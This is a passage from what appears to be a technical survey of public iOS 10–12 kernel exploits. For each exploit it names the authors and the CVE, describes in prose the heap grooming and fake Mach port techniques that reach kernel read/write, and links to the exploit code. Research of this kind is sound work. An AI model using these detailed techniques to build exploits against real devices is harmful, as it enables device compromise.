code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1004#c4>).\n\n## Yalu102 - iOS 10.2\n\nBy Luca Todesco ([@qwertyoruiopz](<https://twitter.com/qwertyoruiopz>)) and Marco Grassi ([@marcograss](<https://twitter.com/marcograss>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-2370 (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable Mach trap is called to create a kalloc allocation and immediately overflow out of it with controlled data, overwriting the contents of an OOL port array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [Yalu102 exploit code](<https://github.com/kpwn/yalu102>).\n\n## ziVA - iOS 10.3.1\n\nBy Adam Donenfeld ([@doadam](<https://twitter.com/doadam>)) of Zimperium.\n\n** \n**\n\nThe vulnerability: Multiple vulnerabilities in AppleAVE2 due to external methods sharing IOSurface pointers with userspace and trusting IOSurface pointers read from userspace.\n\n** \n**\n\nExploit strategy: An IOSurface object is created and an AppleAVE2 external method is called to leak its address. The vtable of an IOFence pointer in the IOSurface is leaked using another external method call, breaking KASLR. The IOSurface object is freed and reallocated with controlled data using an IOSurface property spray. Supplying the leaked pointer to an AppleAVE2 external method that trusts IOSurface pointers supplied from userspace allows hijacking a virtual method call on the fake IOSurface; this is treated as a oneshot hijacked virtual method call with a controlled target object at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hijacked virtual method call is used with the OSSerializer::serialize() gadget to call copyin() and overwrite 2 sysctl_oid structs. The sysctls are overwritten such that reading the first sysctl calls copyin() to update the function pointer and arguments for the second sysctl and reading the second sysctl uses the OSSerializer::serialize() gadget to call the kernel function with 3 arguments. This 3-argument arbitrary kernel function call primitive is used to read and write arbitrary memory by calling copyin()/copyout().\n\n** \n**\n\nNotes: iOS 10.3 introduced the initial form of task_conversion_eval(), a weak mitigation that blocks userspace from accessing a right to the real kernel task port. Any exploit after iOS 10.3 needs to build a fake kernel task port instead.\n\n** \n**\n\nReferences: [Ro(o)tten Apples](<https://www.blackhat.com/docs/eu-17/materials/eu-17-Donenfeld-Rooten-Apples-Vulnerability-Heaven-In-The-IOS-Sandbox.pdf>), [ziVA exploit code](<https://github.com/doadam/ziVA>).\n\n## async_wake - iOS 11.1.2\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 is a vulnerability in IOSurfaceRootUserClient::s_set_surface_notify() that causes an extra reference to be dropped on a Mach port. CVE-2017-13865 is a vulnerability in XNU's proc_list_uptrs() that leaks kernel pointers by failing to fully initialize heap memory before copying out the contents to userspace.\n\n** \n**\n\nExploit strategy: The information leak is used to discover the address of arbitrary Mach ports. A page of ports is allocated and a specific port from that page is selected based on its address. The port is deallocated using the IOSurfaceRootUserClient bug, yielding a receive right to a dangling Mach port at a known (and partially controlled) address.\n\n** \n**\n\nSubsequent exploit flow: The other ports on that page are freed and a zone garbage collection is forced so that the page is reallocated with the contents of an ipc_kmsg, giving a fake Mach port with controlled contents at a known address. The reallocation converted the port into a fake task port through which arbitrary kernel memory can be read using pid_for_task(). (The address to read is updated without reallocating the fake port by using mach_port_set_context().) Relevant kernel objects are located using the kernel read primitive and the fake port is reallocated again with a fake kernel task port.\n\n** \n**\n\nNotes: iOS 11 removed the mach_zone_force_gc() function which allowed userspace to prompt the kernel to perform a zone garbage collection, reclaiming all-free virtual pages in the zone map for use by other zones. Exploits for iOS 11 and later needed to develop a technique to force a zone garbage collection. At least three independent techniques have been developed to do so, demonstrated in async_wake, v0rtex, and In-the-wild iOS exploit chain 3.\n\n** \n**\n\nReferences: [async_wake exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1417#c17>).\n\n## In-the-wild iOS Exploit Chain 2 - iOS 10.3.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Two Mach ports, port A and port B, are allocated as part of a spray. The vulnerability is triggered to drop a reference on port A, and the ports surrounding A are freed, leading to a dangling port pointer. Zone garbage collection is forced by calling mach_zone_force_gc() and the page containing port A is reallocated with an OOL ports spray containing a pattern such that port A's ip_context field overlaps a pointer to port B. Calling mach_port_get_context() gives the address of port B. The vulnerability is triggered again with port B, leading to a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: After another zone garbage collection, the dangling port B is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which 4 MB segment of the spray reallocated port B. That segment is freed and port B is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a 4-byte kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 2 - IOSurface](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>).\n\n## v0rtex - iOS 10.3.3\n\nBy Siguza ([@S1guza](<https://twitter.com/s1guza>)).\n\n** \n**\n\nThe vulnerability: CVE-2017-13861 (same as above).\n\n** \n**\n\nExploit strategy: Mach ports are sprayed and a reference on one port is dropped using the vulnerability. The other ports on the page are freed, leaving a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced using mach_zone_force_gc() and the page containing the dangling port is reallocated with an OSString buffer via an IOSurface property spray. The OSString buffer contains a pattern that initializes critical fields of the port and allows the index of the OSString containing the port to be determined by calling mach_port_get_context() on the fake port. The OSString containing the fake port is freed and reallocated as a normal Mach port. mach_port_request_notification() is called to put the address of a real Mach port in the fake port's ip_pdrequest field, and the OSString's contents are read via IOSurface to get the address. mach_port_request_notification() is used again to get the address of the fake port itself.\n\n** \n**\n\nThe string buffer is freed and reallocated such that mach_port_get_attributes() can be used as a 4-byte arbitrary read primitive, with the target address to read updateable via mach_port_set_context(). (This is analogous to the pid_for_task() technique, but with slightly different constraints.) Starting at the address of the real Mach port, kernel memory is read to find relevant kernel objects. The string buffer is freed and reallocated again with a fake task port sufficient to remap the string buffer into the process's address space. The fake port is updated via the mapping to yield a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(), and kernel functions are called to generate a fake kernel task port.\n\n** \n**\n\nReferences: [v0rtex writeup](<https://siguza.github.io/v0rtex/>), [v0rtex exploit code](<https://github.com/Siguza/v0rtex>).\n\n## Incomplete exploit for CVE-2018-4150 bpf-filter-poc - iOS 11.2.6\n\nVulnerability analysis and POC by Chris Wade ([@cmwdotme](<https://twitter.com/cmwdotme>)) at Corellium. Exploit by littlelailo ([@littlelailo](<https://twitter.com/littlelailo>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4150 is a race condition in XNU's BPF subsystem which leads to a linear heap buffer overflow due to a buffer length being increased without reallocating the corresponding buffer.\n\n** \n**\n\nExploit strategy: The race is triggered to incorrectly increase the length of the buffer without reallocating the buffer itself. A packet is sent and stored in the buffer, overflowing into a subsequent OOL ports array and inserting a pointer to a fake Mach port in userspace. Receiving the message containing the OOL ports yields a send right to the fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake Mach port is converted into a clock port and clock_sleep_trap() is used to brute force a kernel image pointer. Then the port is converted into a fake task port to read memory via pid_for_task(). Kernel memory is scanned backwards from the leaked kernel image pointer until the kernel text base is located, breaking KASLR. The final part of the exploit is incomplete, but construction of a fake kernel task port at this stage would be straightforward and deterministic using existing code.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [CVE-2018-4150 POC](<https://github.com/Jailbreaks/CVE-2018-4150/blob/master/CVE-2018-4150.c>), [incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc exploit code](<https://github.com/littlelailo/incomplete-exploit-for-CVE-2018-4150-bpf-filter-poc->).\n\n## multi_path - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 is an intra-object linear heap buffer overflow in XNU's mptcp_usr_connectx() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place a 2048-byte ipc_kmsg struct at a 16 MB aligned address below the mptses structs (the object containing the overflow) associated with a few multipath TCP sockets. The vulnerability is used to overwrite the lower 3 bytes of the mpte_itfinfo pointer in the mptses struct with zeros and the socket is closed. This triggers a kfree() of the corrupted pointer, freeing the ipc_kmsg struct at the 16 MB alignment boundary. The freed ipc_kmsg slot is reallocated with sprayed pipe buffers. The vulnerability is triggered again to overwrite the lower 3 bytes of the mpte_itfinfo pointer in another mptses struct with zeros and the socket is closed, causing another kfree() of the same address. This frees the pipe buffer that was just allocated into that slot, leaving a dangling pipe buffer.\n\n** \n**\n\nSubsequent exploit flow: The slot is reallocated again with a preallocated ipc_kmsg. A userspace thread is crashed to cause a message to be stored in the preallocated ipc_kmsg buffer overlapping the pipe buffer; reading the pipe in userspace yields the contents of the ipc_kmsg struct, giving the address of the dangling pipe buffer/ipc_kmsg. The pipe is written to change the contents of the ipc_kmsg struct such that receiving the message yields a send right to a fake Mach port inside the pipe buffer. The exception message is received and the pipe is rewritten to convert the fake port into a kernel read primitive using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [multi_path exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1558#c3>).\n\n## multipath_kfree - iOS 11.3.1\n\nBy John \u00c5kerblom ([@jaakerblom](<https://twitter.com/jaakerblom>)).\n\n** \n**\n\nThe vulnerability: CVE-2018-4241 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place preallocated 4096-byte ipc_kmsg structs near the mptses structs for a few multipath TCP sockets. The vulnerability is triggered twice to corrupt the lower 2 bytes of the mpte_itfinfo pointer in two mptses structs, such that closing the sockets results in kfree()s of the two corrupted pointers. Each pointer is corrupted to point 0x7a0 bytes into an ipc_kmsg allocation, creating 4096-byte holes spanning 2 messages. A Mach port containing one of the partially-freed ipc_kmsg structs (with the ipc_kmsg header intact but the message contents freed) is located by using mach_port_peek() to detect a corrupted msgh_id field. Once the port is found, the hole is reallocated by spraying preallocated ipc_kmsg structs and a message is placed in each. Filling the hole overlaps the original (partially freed) ipc_kmsg's Mach message contents with the ipc_kmsg header of the replacement, such that receiving the message on the original port reads the contents of the replacement ipc_kmsg header. The header contains a pointer to itself, disclosing the address of the replacement ipc_kmsg allocation. The vulnerability is triggered a third time to free the replacement message, leaving a partially freed preallocated ipc_kmsg at a known address.\n\n** \n**\n\nSubsequent exploit flow: The hole in the corrupted ipc_kmsg is reallocated by spraying AGXCommandQueue user clients. A message is received on the Mach port in userspace, copying out the contents of the AGXCommandQueue object, from which the vtable is used to determine the KASLR slide. Then the corrupted ipc_kmsg is freed and reallocated by spraying more preallocated ipc_kmsg structs with a slightly different internal layout allowing more control over the contents. A message is placed in each of the just-sprayed ipc_kmsg structs to modify the overlapping AGXCommandQueue and hijack a virtual method call; the hijacked virtual method uses the OSSerializer::serialize() gadget to call copyout(), which is used to identify which of the sprayed AGXCommandQueue user clients overlaps the slot from the corrupted ipc_kmsg. The contents of each of the just-sprayed preallocated ipc_kmsg structs is updated in turn to identify which port corresponds to the corrupted ipc_kmsg. The preallocated port and user client port are used together to build a 3-argument arbitrary kernel function call primitive by updating the contents of the AGXCommandQueue object through an exception message sent to the preallocated port.\n\n** \n**\n\nReferences: [multipath_kfree exploit code](<https://github.com/potmdehex/multipath_kfree>).\n\n## empty_list - iOS 11.3.1\n\nBy Ian Beer.\n\n** \n**\n\nThe vulnerability: CVE-2018-4243 is a partially controlled 8-byte heap out-of-bounds write in XNU's getvolattrlist() due to incorrect bounds checking.\n\n** \n**\n\nExploit strategy: Due to significant triggering constraints, the vulnerability is treated as an 8-byte heap out-of-bounds write of zeros off the end of a kalloc.16 allocation. The kernel heap is groomed into a pattern of alternating blocks for the zones of kalloc.16 and ipc.ports, and further grooming reverses the kalloc.16 freelist. The vulnerability is repeatedly triggered after freeing various kalloc.16 allocations until a kalloc.16 allocation at the end of a block is overflowed, corrupting the first 8 bytes of the first ipc_port on the subsequent page. The corrupted port is freed by calling mach_port_set_attributes(), leaving the process holding a receive right to a dangling Mach port.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is forced and the dangling port is reallocated with an OOL ports array containing a pointer to another Mach port overlapping the ip_context field, so that the address of the other port is retrieved by calling mach_port_get_context(). The dangling port is then reallocated with pipe buffers and converted into a kernel read primitive using pid_for_task(). Using the address of the other port as a starting point, relevant kernel objects are located. Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [empty_list exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1564#c10>).\n\n## In-the-wild iOS Exploit Chain 3 - iOS 11.4\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: The vulnerability is a double-free reachable from AppleVXD393UserClient::DestroyDecoder() (the class name varies by hardware) due to failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: The target 56-byte allocation is created and freed, leaving the dangling pointer intact. The slot is reallocated with an OSData buffer using an IOSurface property spray. The vulnerable method is called again to free the buffer, leaving a dangling OSData buffer. The slot is reallocated again with an OOL ports array containing a single target Mach port pointer and the contents are read in userspace via IOSurface properties, yielding the address of the port. The vulnerable method is called once more to free the OOL ports and the slot is reallocated with another OSData buffer containing two pointers to the Mach port. The holding port holding the OOL descriptor is destroyed, dropping two references to the Mach port. This leaves the process with a receive right to a dangling Mach port at a known address.\n\n** \n**\n\nSubsequent exploit flow: A zone garbage collection is performed and the dangling port is reallocated with a segmented OOL memory spray such that calling mach_port_get_context() can identify which segment of the spray reallocated the port. That segment is freed and the dangling port is reallocated with pipe buffers, giving a controlled fake Mach port at a known address. The fake port is converted into a clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is next converted into a fake task port and a kernel read primitive is established using pid_for_task(). Finally, the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 3 - XPC + VXD393/D5500 repeated IOFree](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-3.html>).\n\n## Spice - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro ([@JohnCool__](<https://twitter.com/JohnCool__>)) at Synacktiv. Exploit by Siguza, Viktor Oreshkin ([@stek29](<https://twitter.com/stek29>)), Ben Sparkes ([@iBSparkes](<https://twitter.com/ibsparkes>)), and littlelailo.\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (possibly CVE-2018-4344) is a race condition in XNU's lio_listio() due to improper state management that results in a use-after-free.\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread repeatedly sends a message containing an OOL ports array allocated from kalloc.16, immediately sprays a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace via IOSurface properties, and receives the OOL ports. When the race is won, the double-free can cause the OOL ports array to be freed, and the subsequent spray can reallocate the slot with a fake OOL ports array. Receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using mach_port_get_attributes(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nThe analysis was performed on the implementation in the file pwn.m, since this seems to provide the most direct comparison to the other exploit implementations in this list.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [Spice exploit code](<https://github.com/JakeBlair420/Spice>).\n\n## treadm1ll - iOS 11.4.1\n\nVulnerability analysis and POC by Luca Moro. Exploit by Tihmstar ([@tihmstar](<https://twitter.com/tihmstar>)).\n\n** \n**\n\nThe vulnerability: The \"LightSpeed\" vulnerability (same as above).\n\n** \n**\n\nExploit strategy: The vulnerable function is called in a loop in one thread to repeatedly trigger the vulnerability by allocating a buffer from kalloc.16 and racing to free the buffer twice. Another thread sends a fixed number of messages containing an OOL ports array allocated from kalloc.16. When the race is won, the double-free can cause the OOL ports array to be freed, leaving a dangling OOL ports array pointer in some messages. The first thread stops triggering the vulnerability and a large number of IOSurface objects are created. Each message is received in turn and a large number of kalloc.16 allocations containing a pointer to a fake Mach port in userspace are sprayed using IOSurface properties. Each spray can reallocate a slot from a dangling OOL ports array with a fake OOL ports array. Successfully receiving the OOL ports in userspace gives a receive right to a fake Mach port whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: A second Mach port is registered as a notification port on the fake port, disclosing the address of the second port in the fake port's ip_pdrequest field. The fake port is modified to construct a kernel read primitive using pid_for_task(). Starting from the disclosed port pointer, kernel memory is read to find relevant kernel objects. The fake port is converted into a fake user client port providing a 7-argument arbitrary kernel function call primitive using iokit_user_client_trap(). Finally, a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The exploit does not work with PAN enabled.\n\n** \n**\n\nReferences: [LightSpeed, a race for an iOS/macOS sandbox escape](<https://www.synacktiv.com/posts/exploit/lightspeed-a-race-for-an-iosmacos-sandbox-escape.html>), [treadm1ll exploit code](<https://github.com/tihmstar/treadm1ll>).\n\n## Chaos - iOS 12.1.2\n\nBy Qixun Zhao ([@S0rryMybad](<https://twitter.com/S0rryMybad>)) of Qihoo 360 Vulcan Team.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 is a use-after-free due to XNU's task_swap_mach_voucher() failing to comply with MIG lifetime semantics that results in an extra reference being added or dropped on an ipc_voucher object.\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. The OSString overlapping the fake voucher is freed and reallocated with a large spray that both forces the allocation of controlled data containing a fake Mach port at a hardcoded address and updates the fake voucher's iv_port pointer to point to the fake Mach port. thread_get_mach_voucher() is called again to obtain a send right to the fake port and to identify which OSString buffer contains the fake Mach port. This leaves the process with a send right to a fake Mach port in an IOSurface property buffer at a known address (roughly equivalent to a dangling Mach port). A kernel read primitive is built by reallocating the OSString buffer to convert the fake port into a fake task port and calling pid_for_task() to read arbitrary memory. Relevant kernel objects are located and the fake port is converted into a fake map port to remap the fake port into userspace, removing the need to reallocate it. Finally the fake port is converted into a fake kernel task port.\n\n** \n**\n\nNotes: The A12 introduced PAC, which limits the ability to use certain exploitation techniques involving code pointers (e.g. vtable hijacking). Also, iOS 12 introduced a mitigation in ipc_port_finalize() against freeing a port while it is still active (i.e. hasn't been destroyed, for example because a process still holds a right to it). This changed the common structure of past exploits whereby a port would be freed while a process still held a right to it. Possibly as a result, obtaining a right to a fake port in iOS 12+ exploits seems to occur later in the flow than in earlier exploits.\n\n** \n**\n\nReferences: [IPC Voucher UaF Remote Jailbreak Stage 2 (EN)](<https://blogs.360.cn/post/IPC%20Voucher%20UaF%20Remote%20Jailbreak%20Stage%202%20\\(EN\\).html>).\n\n## voucher_swap - iOS 12.1.2\n\nBy Brandon Azad ([@_bazad](<https://twitter.com/_bazad>)) of Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to put a block of ipc_port allocations directly before a block of pipe buffers. A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated with an OOL ports array containing a pointer to a previously-allocated ipc_port overlapping the voucher's iv_refs field. A send right to the voucher port is retrieved by calling thread_get_mach_voucher() and the voucher's reference count is increased by repeatedly calling the vulnerable function, updating the overlapping ipc_port pointer to point into the pipe buffers. Receiving the OOL ports yields a send right to a fake Mach port whose contents can be controlled directly. mach_port_request_notification() is called to insert a pointer to an array containing a pointer to another Mach port in the fake port's ip_requests field. A kernel read primitive is built using pid_for_task(), and the address of the other Mach port is read to compute the address of the fake port. Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nReferences: [voucher_swap: Exploiting MIG reference counting in iOS 12](<https://googleprojectzero.blogspot.com/2019/01/voucherswap-exploiting-mig-reference.html>), [voucher_swap exploit code](<https://bugs.chromium.org/p/project-zero/issues/detail?id=1731#c10>).\n\n## machswap2 - iOS 12.1.2\n\nBy Ben Sparkes.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered twice to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OSString buffer containing a fake voucher using an IOSurface property spray. thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OSString buffer; reading the OSString property discloses the address of the voucher port. Pipe buffers containing fake task ports are sprayed to land roughly 1 MB after the disclosed port address. The OSString overlapping the fake voucher is freed and reallocated to update the fake voucher's iv_port pointer to point to point into the pipe buffers. thread_get_mach_voucher() is called again to retrieve the updated voucher port, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and a fake kernel task port is constructed.\n\n** \n**\n\nNotes: The author developed two versions of this exploit: one for pre-PAN devices, and one for PAN-enabled devices. The exploit presented here is for PAN-enabled devices.\n\n** \n**\n\nReferences: [machswap2 exploit code](<https://github.com/PsychoTea/machswap2>), [MachSwap: an iOS 12 Kernel Exploit](<https://sparkes.zone/blog/ios/2019/04/30/machswap-ios-12-kernel-exploit.html>), [machswap exploit code](<https://github.com/PsychoTea/machswap>).\n\n## In-the-wild iOS Exploit Chain 5 - iOS 12.1.2\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df.\n\n** \n**\n\nThe vulnerability: CVE-2019-6225 (same as above).\n\n** \n**\n\nExploit strategy: A large number of ipc_voucher objects are sprayed and the vulnerability is triggered to decrease the reference count on a voucher and free it. The remaining vouchers on the page are freed and a zone garbage collection is forced, leaving a dangling ipc_voucher pointer in the thread's ith_voucher field.\n\n** \n**\n\nSubsequent exploit flow: The dangling voucher is reallocated by an OOL memory spray. A large number of Mach ports are allocated and then thread_get_mach_voucher() is called to obtain a send right to a newly allocated voucher port for the voucher, which causes a pointer to the voucher port to be stored in the fake voucher overlapping the OOL ports array. More ports are allocated and then the OOL memory spray is received, disclosing the address of the voucher port for the fake voucher. The dangling voucher is reallocated again with another OOL memory spray that updates the voucher's iv_port pointer to the subsequent page. The Mach ports are destroyed and a zone garbage collection is forced, leaving the fake voucher holding a pointer to a dangling port. The dangling port is reallocated with pipe buffers. Finally, thread_get_mach_voucher() is called, yielding a send right to a fake Mach port at a known address whose contents can be controlled directly. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 5 - task_swap_mach_voucher](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-5.html>).\n\n## In-the-wild iOS Exploit Chain 4 - iOS 12.1.3\n\nDiscovered in-the-wild by Cl\u00e9ment Lecigne. Analyzed by Ian Beer and Samuel Gro\u00df. Also reported by an anonymous researcher.\n\n** \n**\n\nThe vulnerability: CVE-2019-7287 is a linear heap buffer overflow in the IOKit function ProvInfoIOKitUserClient::ucEncryptSUInfo() due to an unchecked memcpy().\n\n** \n**\n\nExploit strategy: The kernel heap is groomed to place holes in kalloc.4096 before an OOL ports array and holes in kalloc.6144 before an OSData buffer accessible via IOSurface properties. The vulnerability is triggered with the source allocated from kalloc.4096 and the destination allocated from kalloc.6144, causing the address of a target Mach port to be copied into the OSData buffer. The OSData buffer is then read, disclosing the address of the target port. The heap is groomed again to place holes in kalloc.4096 before an OOL memory buffer and in kalloc.6144 before an OOL ports array. The vulnerability is triggered again to insert a pointer to the target port into the OOL ports array. The target port is freed and a zone garbage collection is forced, leaving a dangling port pointer in the OOL ports array. The dangling port is reallocated with pipe buffers and the OOL ports are received, giving a receive right to a fake Mach port at a known address whose contents can be controlled directly.\n\n** \n**\n\nSubsequent exploit flow: The fake port is converted into a fake clock port and clock_sleep_trap() is used to brute force KASLR. The fake port is converted into a fake task port and a kernel read primitive is established using pid_for_task(). Relevant kernel objects are located and the fake port is converted into a fake kernel task port.\n\n** \n**\n\nReferences: [In-the-wild iOS Exploit Chain 4 - cfprefsd + ProvInfoIOKit](<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-4.html>), [About the security content of iOS 12.1.4](<https://support.apple.com/lt-lt/HT209520>).\n\n## Attacking iPhone XS Max - iOS 12.1.4\n\nBy Tielei Wang ([@wangtielei](<https://twitter.com/wangtielei>)) and Hao Xu ([@windknown](<https://twitter.com/windknown>)).\n\n** \n**\n\nThe vulnerability: The vulnerability is a race condition in XNU's UNIX domain socket bind implementation due to the temporary unlock antipattern that results in a use-after-free.\n\n** \n**\n\nExploit strategy: Sockets are sprayed and the vulnerability is triggered to leave a pointer to a dangling socket pointer in a vnode struct. The sockets are closed, a zone garbage collection is forced, and the sockets are reallocated with controlled data via an OSData spray (possibly an IOSurface property spray). The fake socket is constructed to have a reference count of 0. The use after free is triggered to call socket_unlock() on the fake socket, which causes the fake socket/OSData buffer to be freed using kfree(). This leaves a dangling OSData buffer accessible using unspecified means.\n\n** \n**\n\nSubsequent exploit flow: The dangling OSData buffer is reallocated with an OOL ports array and the OSData buffer is freed, leaving a dangling OOL ports array. Kernel memory is sprayed to place a fake Mach port at a hardcoded address (or an information leak is used) and the OOL ports array is reallocated with another OSData buffer, inserting a pointer to the fake Mach port into the OOL ports array. The OOL ports are received, yielding a send or receive right to the fake Mach port at a known address. The fake port is converted into a fake kernel task port by unspecified means.\n\n** \n**\n\nNotes: The only reference for this exploit is a BlackHat presentation, hence the uncertainties in the explanations above.\n\n** \n**\n\nThe authors developed two versions of this exploit: one for non-PAC devices, and one for PAC-enabled devices. The exploit presented here is for PAC-enabled devices. The non-PAC exploit is substantially simpler (hijacking a function pointer used by socket_lock()).\n\n** \n**\n\nReferences: [Attacking iPhone XS Max](<https://i.blackhat.com/USA-19/Thursday/us-19-Wang-Attacking-IPhone-XS-Max.pdf>).\n\n## SockPuppet - iOS 12.2 and iOS 12.4\n\nBy Ned Williamson ([@nedwilliamson](<https://twitter.com/nedwilliamson>)) working with Google Project Zero.\n\n** \n**\n\nThe vulnerability: CVE-2019-8605 is a use-after-free due to XNU's in6_pcbdetach() failing to clear a freed pointer.\n\n** \n**\n\nExploit strategy: Safe arbitrary read, arbitrary kfree(), and arbitrary Mach port address disclosure primitives are constructed over the vulnerability.\n\n** \n**\n\nThe arbitrary read primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to read. The ip6po_minmtu field is checked via getsockopt(), and if correct, getsockopt(IPV6_PKTINFO) is called to read 20 bytes of data from the address pointed to by ip6po_pktinfo.\n\n** \n**\n\nThe arbitrary kfree() primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OSData buffer spray via IOSurface properties such that ip6po_minmtu is set to a known value and ip6po_pktinfo is set to the address to free. The ip6po_minmtu field is checked via getsockopt(), and if correct, setsockopt(IPV6_PKTINFO) is called to invoke kfree_addr() on the ip6po_pktinfo pointer.\n\n** \n**\n\nThe arbitrary Mach port address disclosure primitive: The vulnerability is triggered multiple times to create a number of dangling ip6_pktopts structs associated with sockets. The dangling ip6_pktopts are reallocated with an OOL ports array spray containing pointers to the target port. The ip6po_minmtu and ip6po_prefer_tempaddr fields are read via getsockopt(), disclosing the value of the target port pointer. The port is checked to be of the expected type using the arbitrary read primitive.\n\n** \n**\n\nSubsequent exploit flow: The Mach port address disclosure primitive is used to disclose the address of the current task. Two pipes are created and the addresses of the pipe buffers in the kernel are found using the kernel read primitive. Relevant kernel objects are located and a fake kernel task port is constructed in one of the pipe buffers. The arbitrary kfree() primitive is used to free the pipe buffer for the other pipe, and the pipe buffer is reallocated by spraying OOL ports arrays. The pipe is then written to insert a pointer 